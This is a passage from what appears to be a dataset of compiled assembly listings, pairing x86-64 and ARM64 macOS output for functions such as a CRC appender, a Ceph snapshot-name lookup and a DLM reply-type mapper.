ldp x14, x10, [x1, #8]
Lloh0:
adrp x11, _SINC_WINDOW_KAISER@GOTPAGE
Lloh1:
ldr x11, [x11, _SINC_WINDOW_KAISER@GOTPAGEOFF]
Lloh2:
ldr x11, [x11]
ldr w13, [x0, #8]
ldp x15, x16, [x0, #32]
ldp x17, x2, [x0, #16]
sub x5, x12, #1
neg w3, w9
udiv w12, w9, w4
LBB0_2: ; =>This Inner Loop Header: Depth=1
mov x6, x13
mov x7, x5
cmp x17, #0
csel x13, x2, x17, eq
sub x17, x13, #1
ldr s0, [x14]
lsl x4, x17, #2
add x13, x15, x4
str s0, [x13]
str s0, [x13, x2, lsl #2]
ldr s0, [x14, #4]
add x13, x16, x4
str s0, [x13]
str s0, [x13, x2, lsl #2]
sub w13, w6, w9
sub x5, x5, #1
add x14, x14, #8
cbnz x7, LBB0_2
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
add w6, w3, w6
cmp w6, w9
b.hs LBB0_2
; %bb.4:
mov x14, #0 ; =0x0
str x17, [x0, #16]
str w13, [x0, #8]
ldp x15, x16, [x0, #24]
add x16, x16, x4
ldp x2, x17, [x0, #40]
add x2, x2, x4
lsl w3, w15, #1
add w4, w15, #1
cmp w4, #1
mov w4, #1 ; =0x1
csinc w4, w4, w15, ls
ldr x5, [x0, #56]
add x6, x5, w15, uxtw #2
b LBB0_6
LBB0_5: ; in Loop: Header=BB0_6 Depth=1
stp s2, s1, [x10], #8
add x14, x14, #1
add w13, w13, w12
cmp w13, w9
b.hs LBB0_13
LBB0_6: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
lsr w19, w13, w8
cmp x17, x11
b.ne LBB0_8
; %bb.7: ; in Loop: Header=BB0_6 Depth=1
mul w22, w3, w19
add x7, x6, w22, uxtw #2
ldr w19, [x0, #64]
orr w19, w19, w13
ucvtf s0, w19
ldr s1, [x0, #68]
fmul s0, s1, s0
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_6 Depth=1
mov x7, #0 ; =0x0
mul w22, w19, w15
movi d0, #0000000000000000
LBB0_9: ; in Loop: Header=BB0_6 Depth=1
movi d1, #0000000000000000
mov x19, x4
mov x20, x2
mov x21, x16
movi d2, #0000000000000000
add x22, x5, x22, lsl #2
b LBB0_11
LBB0_10: ; in Loop: Header=BB0_11 Depth=2
ldr s4, [x21], #4
fmadd s2, s4, s3, s2
ldr s4, [x20], #4
fmadd s1, s4, s3, s1
add x22, x22, #4
add x7, x7, #4
subs x19, x19, #1
b.eq LBB0_5
LBB0_11: ; Parent Loop BB0_6 Depth=1
; => This Inner Loop Header: Depth=2
ldr s3, [x22]
cmp x17, x11
b.ne LBB0_10
; %bb.12: ; in Loop: Header=BB0_11 Depth=2
ldr s4, [x7]
fmadd s3, s4, s0, s3
b LBB0_10
LBB0_13:
str w13, [x0, #8]
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #32 ; 16-byte Folded Reload
str x14, [x1, #32]
ret
LBB0_14:
str xzr, [x1, #32]
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _SINC_WINDOW_KAISER,8,3 ; @SINC_WINDOW_KAISER
.no_dead_strip _resampler_sinc_process_c
.subsections_via_symbols
| assembly_file_119541.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function append_crc_ccitt
_append_crc_ccitt: ## @append_crc_ccitt
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %esi, %ebx
movq %rdi, %r14
movl $65535, %edi ## imm = 0xFFFF
movq %r14, %rsi
movl %ebx, %edx
callq _crc_ccitt
movslq %ebx, %rcx
notl %eax
movw %ax, (%r14,%rcx)
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _append_crc_ccitt
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function append_crc_ccitt
_append_crc_ccitt: ; @append_crc_ccitt
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
mov x20, x0
mov w0, #65535
mov x1, x20
mov x2, x19
bl _crc_ccitt
mvn w8, w0
strh w8, [x20, w19, sxtw]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.no_dead_strip _append_crc_ccitt
.subsections_via_symbols
| AnghaBench/linux/drivers/net/hamradio/extr_hdlcdrv.c_append_crc_ccitt.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function __get_snap_name
___get_snap_name: ## @__get_snap_name
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $72, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r12
movq %rsi, -88(%rbp) ## 8-byte Spill
movq %rdi, %rbx
movq %rdx, %rdi
callq _d_inode
movq %rax, %r15
movq %rbx, -104(%rbp) ## 8-byte Spill
movq %rbx, %rdi
callq _d_inode
movq %rax, %r14
movq %r15, %rdi
callq _ceph_inode_to_client
movq %rax, -80(%rbp) ## 8-byte Spill
movq _EINVAL@GOTPCREL(%rip), %rax
xorl %ebx, %ebx
subl (%rax), %ebx
movq %r15, %rdi
callq _ceph_ino
movq %rax, %r13
movq %r14, %rdi
callq _ceph_ino
cmpq %rax, %r13
jne LBB0_1
## %bb.2:
movq %r12, -48(%rbp) ## 8-byte Spill
movq %r15, -56(%rbp) ## 8-byte Spill
movq %r15, %rdi
callq _ceph_snap
movq %rax, %r12
movq _CEPH_SNAPDIR@GOTPCREL(%rip), %r13
movq (%r13), %r15
movq %r14, %rdi
callq _ceph_snap
cmpq %r15, %r12
jne LBB0_6
## %bb.3:
movq _CEPH_NOSNAP@GOTPCREL(%rip), %rcx
xorl %edi, %edi
cmpq (%rcx), %rax
jne LBB0_4
## %bb.5:
movq -80(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %rax
movl (%rax), %esi
movq -88(%rbp), %rdi ## 8-byte Reload
callq _strcpy
xorl %edi, %edi
xorl %ebx, %ebx
jmp LBB0_4
LBB0_1:
xorl %edi, %edi
jmp LBB0_30
LBB0_6:
cmpq (%r13), %rax
jne LBB0_7
## %bb.8:
movq %r14, -96(%rbp) ## 8-byte Spill
movq -80(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
movq _CEPH_MDS_OP_LSSNAP@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _USE_AUTH_MDS@GOTPCREL(%rip), %r14
movl (%r14), %edx
callq _ceph_mdsc_create_request
movq %rax, %r13
movq %rax, %rdi
callq _IS_ERR
testq %rax, %rax
movq -56(%rbp), %r15 ## 8-byte Reload
je LBB0_11
## %bb.9:
movq $0, -72(%rbp) ## 8-byte Folded Spill
movq -48(%rbp), %r12 ## 8-byte Reload
LBB0_10:
movq %r13, %rdi
callq _PTR_ERR
movl %eax, %ebx
movq -72(%rbp), %rdi ## 8-byte Reload
jmp LBB0_30
LBB0_7:
xorl %edi, %edi
LBB0_4:
movq -48(%rbp), %r12 ## 8-byte Reload
movq -56(%rbp), %r15 ## 8-byte Reload
LBB0_30:
callq _kfree
movq %r15, %rdi
callq _ceph_vinop
leaq L_.str(%rip), %rdi
movq %r12, %rsi
movl %eax, %edx
movl %ebx, %ecx
callq _dout
movl %ebx, %eax
addq $72, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_11:
movl $2, -60(%rbp) ## 4-byte Folded Spill
movq $0, -72(%rbp) ## 8-byte Folded Spill
movq -48(%rbp), %r12 ## 8-byte Reload
LBB0_12: ## =>This Loop Header: Depth=1
## Child Loop BB0_19 Depth 2
movq %r13, %rdi
movq %r15, %rsi
callq _ceph_alloc_readdir_reply_buffer
testl %eax, %eax
jne LBB0_28
## %bb.13: ## in Loop: Header=BB0_12 Depth=1
movl (%r14), %eax
movl %eax, 60(%r13)
movl -60(%rbp), %eax ## 4-byte Reload
movl %eax, (%r13)
movq _CEPH_READDIR_REPLY_BITFLAGS@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _cpu_to_le16
movl %eax, 56(%r13)
movq -72(%rbp), %rax ## 8-byte Reload
testq %rax, %rax
je LBB0_15
## %bb.14: ## in Loop: Header=BB0_12 Depth=1
movq %rax, 8(%r13)
LBB0_15: ## in Loop: Header=BB0_12 Depth=1
movq -96(%rbp), %r14 ## 8-byte Reload
movq %r14, 48(%r13)
movq %r14, %rdi
callq _ihold
movq -104(%rbp), %rdi ## 8-byte Reload
callq _dget
movl %eax, 40(%r13)
movq %r14, %rdi
callq _inode_lock
movq -80(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
xorl %esi, %esi
movq %r13, %rdx
callq _ceph_mdsc_do_request
movl %eax, %ebx
movq %r14, %rdi
callq _inode_unlock
testl %ebx, %ebx
js LBB0_16
## %bb.17: ## in Loop: Header=BB0_12 Depth=1
movl 16(%r13), %eax
testl %eax, %eax
jle LBB0_22
## %bb.18: ## in Loop: Header=BB0_12 Depth=1
movl $1, %r15d
movl $16, %r12d
.p2align 4, 0x90
LBB0_19: ## Parent Loop BB0_12 Depth=1
## => This Inner Loop Header: Depth=2
movq 24(%r13), %r14
xorl %edi, %edi
cmpq $0, (%r14,%r12)
sete %dil
callq _BUG_ON
movq -56(%rbp), %rdi ## 8-byte Reload
callq _ceph_snap
movq %rax, %rbx
movq (%r14,%r12), %rax
movl (%rax), %edi
callq _le64_to_cpu
cmpq %rax, %rbx
je LBB0_31
## %bb.20: ## in Loop: Header=BB0_19 Depth=2
movslq 16(%r13), %rax
decq %r15
addq $-24, %r12
cmpq %rax, %r15
jle LBB0_19
## %bb.21: ## in Loop: Header=BB0_12 Depth=1
movq -48(%rbp), %r12 ## 8-byte Reload
movq -56(%rbp), %r15 ## 8-byte Reload
LBB0_22: ## in Loop: Header=BB0_12 Depth=1
cmpq $0, 32(%r13)
je LBB0_24
## %bb.23: ## in Loop: Header=BB0_12 Depth=1
movq $0, -72(%rbp) ## 8-byte Folded Spill
movq _CEPH_MDS_OP_LSSNAP@GOTPCREL(%rip), %r14
jmp LBB0_27
LBB0_24: ## in Loop: Header=BB0_12 Depth=1
xorl %edi, %edi
testl %eax, %eax
setle %dil
callq _BUG_ON
movq 24(%r13), %rax
movslq 16(%r13), %rbx
leaq (%rbx,%rbx,2), %rcx
movl -16(%rax,%rcx,8), %edi
movq -24(%rax,%rcx,8), %rsi
movq _GFP_KERNEL@GOTPCREL(%rip), %rax
movl (%rax), %edx
callq _kstrndup
movq %rax, -72(%rbp) ## 8-byte Spill
testq %rax, %rax
movq _CEPH_MDS_OP_LSSNAP@GOTPCREL(%rip), %r14
je LBB0_25
## %bb.26: ## in Loop: Header=BB0_12 Depth=1
addl -60(%rbp), %ebx ## 4-byte Folded Reload
movq %r13, %rdi
callq _ceph_mdsc_put_request
movl %ebx, -60(%rbp) ## 4-byte Spill
LBB0_27: ## in Loop: Header=BB0_12 Depth=1
movq -80(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
movl (%r14), %esi
movq _USE_AUTH_MDS@GOTPCREL(%rip), %r14
movl (%r14), %edx
callq _ceph_mdsc_create_request
movq %rax, %r13
movq %rax, %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_12
jmp LBB0_10
LBB0_31:
movl -8(%r14,%r12), %esi
movq -16(%r14,%r12), %rdx
movq -88(%rbp), %rbx ## 8-byte Reload
movq %rbx, %rdi
callq _memcpy
movq -16(%r14,%r12), %rax
movb $0, (%rbx,%rax)
xorl %ebx, %ebx
xorl %edi, %edi
movq -48(%rbp), %r12 ## 8-byte Reload
movq -56(%rbp), %r15 ## 8-byte Reload
LBB0_29:
movq %rdi, %r14
movq %r13, %rdi
callq _ceph_mdsc_put_request
movq %r14, %rdi
jmp LBB0_30
LBB0_28:
movl %eax, %ebx
testq %r13, %r13
movq -72(%rbp), %rdi ## 8-byte Reload
jne LBB0_29
jmp LBB0_30
LBB0_16:
xorl %edi, %edi
jmp LBB0_29
LBB0_25:
movq _ENOMEM@GOTPCREL(%rip), %rax
xorl %edi, %edi
xorl %ebx, %ebx
subl (%rax), %ebx
jmp LBB0_29
.cfi_endproc
## -- End function
.comm _EINVAL,4,2 ## @EINVAL
.comm _CEPH_SNAPDIR,8,3 ## @CEPH_SNAPDIR
.comm _CEPH_NOSNAP,8,3 ## @CEPH_NOSNAP
.comm _CEPH_MDS_OP_LSSNAP,4,2 ## @CEPH_MDS_OP_LSSNAP
.comm _USE_AUTH_MDS,4,2 ## @USE_AUTH_MDS
.comm _CEPH_READDIR_REPLY_BITFLAGS,4,2 ## @CEPH_READDIR_REPLY_BITFLAGS
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.comm _ENOMEM,4,2 ## @ENOMEM
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "get_snap_name %p ino %llx.%llx err=%d\n"
.comm _ENOENT,4,2 ## @ENOENT
.no_dead_strip ___get_snap_name
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function __get_snap_name
___get_snap_name: ; @__get_snap_name
.cfi_startproc
; %bb.0:
sub sp, sp, #112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x2
mov x28, x1
mov x22, x0
mov x0, x2
bl _d_inode
mov x20, x0
mov x0, x22
bl _d_inode
mov x24, x0
mov x0, x20
bl _ceph_inode_to_client
mov x23, x0
Lloh0:
adrp x8, _EINVAL@GOTPAGE
Lloh1:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
neg w26, w8
mov x0, x20
bl _ceph_ino
mov x25, x0
mov x0, x24
bl _ceph_ino
cmp x25, x0
b.ne LBB0_8
; %bb.1:
mov x0, x20
bl _ceph_snap
mov x25, x0
Lloh3:
adrp x21, _CEPH_SNAPDIR@GOTPAGE
Lloh4:
ldr x21, [x21, _CEPH_SNAPDIR@GOTPAGEOFF]
ldr x27, [x21]
mov x0, x24
bl _ceph_snap
cmp x25, x27
b.ne LBB0_4
; %bb.2:
Lloh5:
adrp x8, _CEPH_NOSNAP@GOTPAGE
Lloh6:
ldr x8, [x8, _CEPH_NOSNAP@GOTPAGEOFF]
Lloh7:
ldr x8, [x8]
cmp x0, x8
b.ne LBB0_8
; %bb.3:
ldr x8, [x23, #8]
ldr w1, [x8]
mov x0, x28
bl _strcpy
mov w26, #0 ; =0x0
b LBB0_8
LBB0_4:
ldr x8, [x21]
cmp x0, x8
b.ne LBB0_8
; %bb.5:
ldr w0, [x23]
Lloh8:
adrp x27, _CEPH_MDS_OP_LSSNAP@GOTPAGE
Lloh9:
ldr x27, [x27, _CEPH_MDS_OP_LSSNAP@GOTPAGEOFF]
ldr w1, [x27]
Lloh10:
adrp x21, _USE_AUTH_MDS@GOTPAGE
Lloh11:
ldr x21, [x21, _USE_AUTH_MDS@GOTPAGEOFF]
ldr w2, [x21]
bl _ceph_mdsc_create_request
mov x25, x0
bl _IS_ERR
cbz x0, LBB0_10
; %bb.6:
mov x28, #0 ; =0x0
LBB0_7:
mov x0, x25
bl _PTR_ERR
mov x26, x0
mov x0, x28
b LBB0_9
LBB0_8:
mov x0, #0 ; =0x0
LBB0_9:
bl _kfree
mov x0, x20
bl _ceph_vinop
mov x2, x0
Lloh12:
adrp x0, l_.str@PAGE
Lloh13:
add x0, x0, l_.str@PAGEOFF
mov x1, x19
mov x3, x26
bl _dout
mov x0, x26
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
LBB0_10:
str x28, [sp] ; 8-byte Folded Spill
mov x28, #0 ; =0x0
mov w8, #2 ; =0x2
str w8, [sp, #12] ; 4-byte Folded Spill
LBB0_11: ; =>This Loop Header: Depth=1
; Child Loop BB0_17 Depth 2
mov x0, x25
mov x1, x20
bl _ceph_alloc_readdir_reply_buffer
cbnz w0, LBB0_27
; %bb.12: ; in Loop: Header=BB0_11 Depth=1
ldr w8, [x21]
str w8, [x25, #60]
ldr w8, [sp, #12] ; 4-byte Folded Reload
str w8, [x25]
Lloh14:
adrp x8, _CEPH_READDIR_REPLY_BITFLAGS@GOTPAGE
Lloh15:
ldr x8, [x8, _CEPH_READDIR_REPLY_BITFLAGS@GOTPAGEOFF]
Lloh16:
ldr w0, [x8]
bl _cpu_to_le16
str w0, [x25, #56]
cbz x28, LBB0_14
; %bb.13: ; in Loop: Header=BB0_11 Depth=1
str x28, [x25, #8]
LBB0_14: ; in Loop: Header=BB0_11 Depth=1
str x24, [x25, #48]
mov x0, x24
bl _ihold
mov x0, x22
bl _dget
str w0, [x25, #40]
mov x0, x24
bl _inode_lock
ldr w0, [x23]
mov x1, #0 ; =0x0
mov x2, x25
bl _ceph_mdsc_do_request
mov x26, x0
mov x0, x24
bl _inode_unlock
tbnz w26, #31, LBB0_28
; %bb.15: ; in Loop: Header=BB0_11 Depth=1
ldr w8, [x25, #16]
cmp w8, #1
b.lt LBB0_20
; %bb.16: ; in Loop: Header=BB0_11 Depth=1
mov x28, #0 ; =0x0
mov w27, #1 ; =0x1
LBB0_17: ; Parent Loop BB0_11 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [x25, #24]
add x21, x8, x28
ldr x8, [x21, #16]
cmp x8, #0
cset w0, eq
bl _BUG_ON
mov x0, x20
bl _ceph_snap
mov x26, x0
ldr x8, [x21, #16]
ldr w0, [x8]
bl _le64_to_cpu
cmp x26, x0
b.eq LBB0_25
; %bb.18: ; in Loop: Header=BB0_17 Depth=2
ldrsw x8, [x25, #16]
sub x27, x27, #1
sub x28, x28, #24
cmp x27, x8
b.le LBB0_17
; %bb.19: ; in Loop: Header=BB0_11 Depth=1
Lloh17:
adrp x27, _CEPH_MDS_OP_LSSNAP@GOTPAGE
Lloh18:
ldr x27, [x27, _CEPH_MDS_OP_LSSNAP@GOTPAGEOFF]
Lloh19:
adrp x21, _USE_AUTH_MDS@GOTPAGE
Lloh20:
ldr x21, [x21, _USE_AUTH_MDS@GOTPAGEOFF]
LBB0_20: ; in Loop: Header=BB0_11 Depth=1
ldr x9, [x25, #32]
cbz x9, LBB0_22
; %bb.21: ; in Loop: Header=BB0_11 Depth=1
mov x28, #0 ; =0x0
b LBB0_24
LBB0_22: ; in Loop: Header=BB0_11 Depth=1
cmp w8, #1
cset w0, lt
bl _BUG_ON
ldr x8, [x25, #24]
ldrsw x21, [x25, #16]
mov w9, #24 ; =0x18
smaddl x8, w21, w9, x8
ldur w0, [x8, #-16]
ldur x1, [x8, #-24]
Lloh21:
adrp x8, _GFP_KERNEL@GOTPAGE
Lloh22:
ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF]
Lloh23:
ldr w2, [x8]
bl _kstrndup
cbz x0, LBB0_29
; %bb.23: ; in Loop: Header=BB0_11 Depth=1
mov x28, x0
ldr w8, [sp, #12] ; 4-byte Folded Reload
add w8, w21, w8
str w8, [sp, #12] ; 4-byte Folded Spill
mov x0, x25
bl _ceph_mdsc_put_request
Lloh24:
adrp x21, _USE_AUTH_MDS@GOTPAGE
Lloh25:
ldr x21, [x21, _USE_AUTH_MDS@GOTPAGEOFF]
LBB0_24: ; in Loop: Header=BB0_11 Depth=1
ldr w0, [x23]
ldr w1, [x27]
ldr w2, [x21]
bl _ceph_mdsc_create_request
mov x25, x0
bl _IS_ERR
cbz x0, LBB0_11
b LBB0_7
LBB0_25:
ldr w1, [x21, #8]
ldr x2, [x21]
ldr x22, [sp] ; 8-byte Folded Reload
mov x0, x22
bl _memcpy
mov w26, #0 ; =0x0
mov x0, #0 ; =0x0
ldr x8, [x21]
strb wzr, [x22, x8]
LBB0_26:
mov x21, x0
mov x0, x25
bl _ceph_mdsc_put_request
mov x0, x21
b LBB0_9
LBB0_27:
mov x26, x0
mov x0, x28
cbnz x25, LBB0_26
b LBB0_9
LBB0_28:
mov x0, #0 ; =0x0
b LBB0_26
LBB0_29:
Lloh26:
adrp x8, _ENOMEM@GOTPAGE
Lloh27:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
Lloh28:
ldr w8, [x8]
neg w26, w8
b LBB0_26
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGot Lloh19, Lloh20
.loh AdrpLdrGot Lloh17, Lloh18
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGot Lloh24, Lloh25
.loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28
.cfi_endproc
; -- End function
.comm _EINVAL,4,2 ; @EINVAL
.comm _CEPH_SNAPDIR,8,3 ; @CEPH_SNAPDIR
.comm _CEPH_NOSNAP,8,3 ; @CEPH_NOSNAP
.comm _CEPH_MDS_OP_LSSNAP,4,2 ; @CEPH_MDS_OP_LSSNAP
.comm _USE_AUTH_MDS,4,2 ; @USE_AUTH_MDS
.comm _CEPH_READDIR_REPLY_BITFLAGS,4,2 ; @CEPH_READDIR_REPLY_BITFLAGS
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.comm _ENOMEM,4,2 ; @ENOMEM
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "get_snap_name %p ino %llx.%llx err=%d\n"
.comm _ENOENT,4,2 ; @ENOENT
.no_dead_strip ___get_snap_name
.subsections_via_symbols
| assembly_file_116695.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function msg_reply_type
_msg_reply_type: ## @msg_reply_type
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
## kill: def $edi killed $edi def $rdi
addl $-128, %edi
cmpl $4, %edi
ja LBB0_1
## %bb.2:
leaq LJTI0_0(%rip), %rax
movslq (%rax,%rdi,4), %rcx
addq %rax, %rcx
jmpq *%rcx
LBB0_5:
movq _DLM_MSG_UNLOCK_REPLY@GOTPCREL(%rip), %rax
jmp LBB0_8
LBB0_1:
movl $-1, %eax
popq %rbp
retq
LBB0_3:
movq _DLM_MSG_REQUEST_REPLY@GOTPCREL(%rip), %rax
jmp LBB0_8
LBB0_7:
movq _DLM_MSG_LOOKUP_REPLY@GOTPCREL(%rip), %rax
jmp LBB0_8
LBB0_4:
movq _DLM_MSG_CONVERT_REPLY@GOTPCREL(%rip), %rax
jmp LBB0_8
LBB0_6:
movq _DLM_MSG_CANCEL_REPLY@GOTPCREL(%rip), %rax
LBB0_8:
movl (%rax), %eax
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_5, LBB0_5-LJTI0_0
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_7, LBB0_7-LJTI0_0
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_6, LBB0_6-LJTI0_0
LJTI0_0:
.long L0_0_set_5
.long L0_0_set_3
.long L0_0_set_7
.long L0_0_set_4
.long L0_0_set_6
.end_data_region
## -- End function
.comm _DLM_MSG_REQUEST_REPLY,4,2 ## @DLM_MSG_REQUEST_REPLY
.comm _DLM_MSG_CONVERT_REPLY,4,2 ## @DLM_MSG_CONVERT_REPLY
.comm _DLM_MSG_UNLOCK_REPLY,4,2 ## @DLM_MSG_UNLOCK_REPLY
.comm _DLM_MSG_CANCEL_REPLY,4,2 ## @DLM_MSG_CANCEL_REPLY
.comm _DLM_MSG_LOOKUP_REPLY,4,2 ## @DLM_MSG_LOOKUP_REPLY
.no_dead_strip _msg_reply_type
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function msg_reply_type
_msg_reply_type: ; @msg_reply_type
.cfi_startproc
; %bb.0:
sub w8, w0, #128
cmp w8, #4
b.hi LBB0_3
; %bb.1:
Lloh0:
adrp x9, lJTI0_0@PAGE
Lloh1:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_2
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_2:
Lloh2:
adrp x8, _DLM_MSG_UNLOCK_REPLY@GOTPAGE
Lloh3:
ldr x8, [x8, _DLM_MSG_UNLOCK_REPLY@GOTPAGEOFF]
Lloh4:
ldr w0, [x8]
ret
LBB0_3:
mov w0, #-1
ret
LBB0_4:
Lloh5:
adrp x8, _DLM_MSG_REQUEST_REPLY@GOTPAGE
Lloh6:
ldr x8, [x8, _DLM_MSG_REQUEST_REPLY@GOTPAGEOFF]
Lloh7:
ldr w0, [x8]
ret
LBB0_5:
Lloh8:
adrp x8, _DLM_MSG_LOOKUP_REPLY@GOTPAGE
Lloh9:
ldr x8, [x8, _DLM_MSG_LOOKUP_REPLY@GOTPAGEOFF]
Lloh10:
ldr w0, [x8]
ret
LBB0_6:
Lloh11:
adrp x8, _DLM_MSG_CONVERT_REPLY@GOTPAGE
Lloh12:
ldr x8, [x8, _DLM_MSG_CONVERT_REPLY@GOTPAGEOFF]
Lloh13:
ldr w0, [x8]
ret
LBB0_7:
Lloh14:
adrp x8, _DLM_MSG_CANCEL_REPLY@GOTPAGE
Lloh15:
ldr x8, [x8, _DLM_MSG_CANCEL_REPLY@GOTPAGEOFF]
Lloh16:
ldr w0, [x8]
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_2-LBB0_2)>>2
.byte (LBB0_4-LBB0_2)>>2
.byte (LBB0_5-LBB0_2)>>2
.byte (LBB0_6-LBB0_2)>>2
.byte (LBB0_7-LBB0_2)>>2
; -- End function
.comm _DLM_MSG_REQUEST_REPLY,4,2 ; @DLM_MSG_REQUEST_REPLY
.comm _DLM_MSG_CONVERT_REPLY,4,2 ; @DLM_MSG_CONVERT_REPLY
.comm _DLM_MSG_UNLOCK_REPLY,4,2 ; @DLM_MSG_UNLOCK_REPLY
.comm _DLM_MSG_CANCEL_REPLY,4,2 ; @DLM_MSG_CANCEL_REPLY
.comm _DLM_MSG_LOOKUP_REPLY,4,2 ; @DLM_MSG_LOOKUP_REPLY
.no_dead_strip _msg_reply_type
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/fs/dlm/extr_lock.c_msg_reply_type.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl _num(%rip), %eax
testl %eax, %eax
jle LBB0_1
## %bb.2:
cmpl $8, %eax
jae LBB0_4
## %bb.3:
xorl %r8d, %r8d
xorl %esi, %esi
jmp LBB0_12
LBB0_1:
xorl %esi, %esi
jmp LBB0_14
LBB0_4:
movl %eax, %r8d
andl $-8, %r8d
leaq -8(%r8), %rcx
movq %rcx, %rdi
shrq $3, %rdi
incq %rdi
movl %edi, %edx
andl $3, %edx
cmpq $24, %rcx
jae LBB0_6
## %bb.5:
